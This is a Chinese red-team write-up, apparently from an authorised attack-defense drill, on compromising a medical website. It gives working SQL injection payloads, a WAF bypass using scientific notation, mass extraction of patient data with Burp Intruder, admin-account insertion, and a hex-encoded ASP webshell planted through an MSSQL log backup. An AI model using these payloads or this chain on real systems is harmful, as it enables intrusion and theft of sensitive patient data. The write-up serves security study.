免责声明
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
01 前言
在一次市级的攻防演练中,通过目录扫描发现了源码之后的一系列操作,大概历程是从代码审计发现sql注入,想利用sql注入取出数据发现被waf拦截,之后绕过waf,取出数据md5解密失败,配合代码审计以及SQL注入插入管理员信息进入后台,利用后台的执行语句功能通过log备份进行getshell。本来想写详细一点,但是由于在复盘时,网站正好在整改,截图只有用报告中的了,师傅们将就着看吧
02 发现源码
通过前期的信息收集,对网站进行目录扫描,直接用御剑的大字典扫到备份文件wwwroot.zip
03 代码审计
由于是攻防演练,这里重点关注危害影响较大的漏洞。
在下载完源码文件之后,首先肯定是要先看下配置文件。在配置文件中,可以看到此时连接mssql用的是内网ip地址,导致了不能直接外连。除此之外还需要特别注意的是数据库密码是(目标网站系统名的缩写+_1),比如说网站名是先知社区,而这数据库密码设置成了xzsq_1。后期的话可以利用此关键字进行字典的生成
除此之外,我们还需关注日志文件中的信息。有时候日志文件中会泄露后台信息,管理员账号密码等敏感信息。在这套源码中,通过对源码里面的日志文件进行分析发现大量信息泄露
泄露数据类型包括姓名,电话,个人病例信息。但是log日志文件太大了,怎样证明其中的数据量呢。可以通过一个python脚本对日志中的电话号码进行提取,根据其结果得出数据量多少,然后嘎嘎拿分
在.net中.aspx或者.ashx一般是网页文件,.cs一般是后端逻辑代码。在对目录进行浏览时,发现有一个编辑器。发现其可以进行上传文件,于是对上传文件处看了下。
可以看到这里实际上是有鉴权处理逻辑的,并且这里的文件上传代码是白名单,上传的后缀内容都是由配置文件中写好了
在配置文件中,设置了PermitUpload为Y,所以不需要登录后台用户就可以上传文件
而文件上传的后缀也被限制住了,对方中间件又是iis10.0,无解析漏洞利用。
不过看到这里有个pdf的后缀,如果是在src这种场景下可以尝试下pdf xss,有时候厂商也会接收
除了这里的编辑器处可以上传外,可以看一下例如upload.aspx,file.aspx这种命名的aspx文件。在这里file.aspx里面全是html代码,除了一开始引用这个dll文件的代码
使用ILSPY文件对对应的dll文件进行反编译,可以看到会调用UpFile函数进行文件上传。
跟踪UpFile函数,发现其是白名单,通过配置文件写死了,通过文件上传getshell的想法基本上没戏了。
本来还想找下有没有什么上传的接口没有调用UpFile函数上传,但是看了下,都是调用了UpFile函数进行上传。
在审计时发现传递进来的参数会调用ReplaceUrlBadChar函数进行过滤
ReplaceUrlBadChar函数内容如下:
相信有师傅已经看出了此过滤函数的问题所在,这里明显存在双写绕过,并且过滤的关键字并不齐全。如果存在数字型的注入,完全可以使用双写来进行绕过。
并且由于此写法导致了每一个传进来的参数都要调用ReplaceUrlBadChar来过滤,这样势必会导致开发人员遗漏一两个参数没有调用ReplaceUrlBadChar函数进行过滤,从而导致sql注入。
所以此时有两种思路,第一种就是找调用了ReplaceUrlBadChar函数的数字型注入,第二种则是直接找没有调用ReplaceUrlBadChar函数的参数。
接下来也是成功找到了三处sql注入点
可以看到此处user_id参数通过cookie形式传入,直接拼接到sql语句中,导致sql注入
payload:user_id=-42681 union select 1,2,user,db_name/**/(),5,6,7,8,9,10,11,12,13,14--++;
代码段跟SQL注入点一相同,只不过此时是GET参数card_id存在SQL注入
同样直接拼接,导致这里存在SQL注入。可以通过布尔盲注的形式证明
跟SQL注入点二类似,参数user_id存在注入,同样可以用布尔盲注的形式证明存在SQL注入。
04 绕WAF
通过之前的代码审计,我们已经挖掘到了SQL注入。但是正当我想进一步拿出数据时,遭到了waf的拦截。
虽然代码层面没有任何防护,但是它有一个挺厉害的waf。这也是为什么之前SQL注入点一是用联合注入直接爆当前数据库信息,而注入点二三则是仅仅通过布尔盲注证明一下,因为GET型注入与cookie型注入比较,明显后者waf的拦截规则更少,更容易突破。
此时我们来绕过waf。经过不断地fuzz发现,对于cookie型注入的规则,这个waf的拦截对于select[位置一]from[位置二]特别严格。
期间我尝试使用如下payload来绕过都无济于事
位置一:
union select+1
union select-1
union select.1
union select:1
union select~1
包括在此间插入各种空白符号
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
以及注释符都没用 位置二:
from[xxx]
from.xxx
以及注释符/**/
包括在此间插入各种空白符号
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
其中我特别不解的是%0a在cookie中传递过去,虽然可以绕过waf,但是似乎没有被解析成换行符导致语法错误从而爆不出数据。如果%0a能被解析成换行符就能绕过了,可恶!
经过后期不停的fuzz,什么垃圾数据包,分块传输,更换请求方式,利用http协议等方式都失败之后,我几乎要放弃了。但是第二天实在心有不甘,终于fuzz出来了。
总结下就是,拦截规则是拦截select[位置一]from[位置二],如果位置一是类似于如下规则都会被过滤
/**/from
]from
%20from
%09from
...
但是如果是以下之种,from跟别的字符在一起则不会拦截
/**/afrom
]bbfrom
%09efrom
那么sql语句是否有一种形式能够将字符跟from紧挨在一起而不报错呢,肯定是有的,那就是科学计数法。
如上图,此时waf识别到的是select..Efrom... ,而不是select...from... 。自然不会拦截。
接着配合代码审计部分直接判断出管理员的表名是SysAdmin,存储账号密码的列名是SysAdmin1,SysAdmin2
接着直接出管理员账号密码user_id=-42681 union select top 1 1,2,3,SysAdmin1,5,6,7,8,9,10,11,12,13,14Efrom Sysadmin--++;
最终拿到账号密码:Admin/C513C9D645ABB226
但是解密不出。。。。
05 提取数据
虽然拿到了管理员账号密码,但是无法解密。无法拿到后台权限,但是却可以通过sql注入拿到大量数据,从而得分。此处SQL语句会查询用户的就诊卡信息,就诊卡信息中包括病人姓名,身份证,电话,就诊卡号等敏感信息,令user_id=42681 or 1=1
,去遍历42681这个数值,如果存在用户就诊卡信息则会显示对应用户信息,如果不存在则会显示电话为130xxxxxxx的用户信息
利用burpsuite的intruder模块去批量遍历user_id=§42681§ or 1=1
,可以得到大量病人的数据
返回的数据包如下图,但是利用burp跑的话,怎样将数据提取出来呢,从而证明自己的数据量
实际上burp有对应的功能,将其发送到intruder模块,选择好参数爆破。之后在options选项的Grep-Extract功能下,对其想要提取的数据进行匹配,注意箭头所指的Start after expression和End at delimiten在整个响应包中没有重复的部分,除此之外还要设置可以匹配响应包的长度,因为默认是100,自然是不够的。我这里改成了10000
然后开始爆破,可以看到敏感信息部分被成功提取出来了,但是显示的时候有点乱码,不过不影响,保存之后不会乱码
最终效果如下
06 Getshell
没有getshell进不了内网是没有灵魂的。所以我选择了接着代码审计,然后发现了在后台,存在执行SQL语句的功能,如果能够进入后台执行SQL语句,利用log日志getshell就好了,诶
想了下,我只有SQL注入,但是密码无法解密。如果有堆叠注入就好了,那么我就能xp_cmdshell或者log日志getshell了。但是实际上在mssql中只要能执行if语句,那么你就能执行绝大多数语句,其中就包括xp_cmdshell。
但是悲催的是这里既不是sa权限,也没有开启xp_cmdshell。通过延时判断没有执行成功
那么究竟要怎么办呢,想了下,既然无法执行xp_cmdshell,但是我可以通过执行插入语句新增管理员来进入后台,再利用后台的执行sql语句功能来getshell
执行插入语句
user_id=42681 if(1=1) insert into[SysAdmin](SysAdmin1,SysAdmin2,SysAdmin3,SysAdmin5) values('test','A6AFBBCBF8BE7668','test','2099/11/18 12:36:00')--++;
这里没有截图,就不放图了,但是是可以执行的
之后进入后台之后发现后台分了权限的,自己新增的test用户权限不够,于是将admin用户的密码改了,然后进入后台user_id=42681 if(1=1) update[SysAdmin]set SysAdmin2='a6afbbcbf8be7668' where SysAdmin0=1--++
进入后台之后,来到执行SQL语句功能处
通过log日志来getshell,当然这里我用的是免杀马子
backup database xxxx_db to disk = 'd:/wwwroot/logs/2019-12-20.bak'with init;
alter database[xxxx_db]set RECOVERY FULL;
create table[test_tmp](img image);
insert into [test_tmp](img) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log gxzyy_db to disk = 'd:/wwwroot/m/hacc.aspx'
最后成功getshell
07 往期精彩
文章来源:先知社区-NineOne
原文地址:https://xz.aliyun.com/t/11921
如需转载本样式风格、字体版权,请保留出处:李白你好